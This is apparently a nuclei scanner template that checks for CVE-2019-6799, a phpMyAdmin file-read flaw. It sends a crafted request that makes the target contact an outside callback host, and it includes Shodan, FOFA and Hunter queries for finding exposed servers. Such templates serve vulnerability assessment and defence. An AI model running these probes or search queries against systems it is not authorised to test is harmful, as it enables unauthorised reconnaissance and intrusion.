nuclei-templates/cves/2019/CVE-2019-6799.yaml

id: CVE-2019-6799

info:
  name: phpMyAdmin < 4.8.5 - Local File Read
  author: pwnhxl
  severity: medium
  description: |
    An issue was discovered in phpMyAdmin before 4.8.5. When the AllowArbitraryServer configuration setting is set to true, with the use of a rogue MySQL server, an attacker can read any file on the server that the web server's user can access. This is related to the mysql.allow_local_infile PHP configuration, and the inadvertent ignoring of "options(MYSQLI_OPT_LOCAL_INFILE" calls.
  reference:
    - https://paper.seebug.org/1112/#_4
    - https://github.com/phpmyadmin/phpmyadmin/commit/828f740158e7bf14aa4a7473c5968d06364e03a2
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-6799
    - https://nvd.nist.gov/vuln/detail/CVE-2019-6799
    - https://github.com/rmb122/rogue_mysql_server
    - https://github.com/vulnspy/phpmyadmin-4.8.4-allowarbitraryserver
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 5.9
    cve-id: CVE-2019-6799
  metadata:
    fofa-query: body="pma_servername" && body="4.8.4"
    hunter-query: app.name="phpMyAdmin"&&web.body="pma_servername"&&web.body="4.8.4"
    shodan-query: title:"phpmyadmin"
    verified: "true"
  tags: cve,cve2019,phpmyadmin,mysql,lfr

requests:
  - raw:
      - |
        GET {{path}}?pma_servername={{interactsh-url}}&pma_username={{randstr}}&pma_password={{randstr}}&server=1 HTTP/1.1
        Host: {{Hostname}}

    payloads:
      path:
        - "/index.php"
        - "/pma/index.php"
        - "/pmd/index.php"
        - "/phpMyAdmin/index.php"
        - "/phpmyadmin/index.php"
        - "/_phpmyadmin/index.php"
    attack: batteringram

    extractors:
      - type: regex
        name: version
        internal: true
        group: 1
        regex:
          - '\?v=([0-9.]+)'

      - type: regex
        group: 1
        regex:
          - '\?v=([0-9.]+)'

      - type: regex
        name: phpversion
        part: header
        internal: true
        group: 1
        regex:
          - "X-Powered-By: PHP/([0-9.]+)"

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: word
        words:
          - "mysqli_real_connect"

      - type: word
        words:
          - "pma_servername"

      - type: dsl
        dsl:
          - compare_versions(version, '< 4.8.5')

      - type: dsl
        dsl:
          - compare_versions(version, '> 3.9.9')

      - type: dsl
        dsl:
          - compare_versions(phpversion, '< 7.3.4')

      - type: status
        status:
          - 200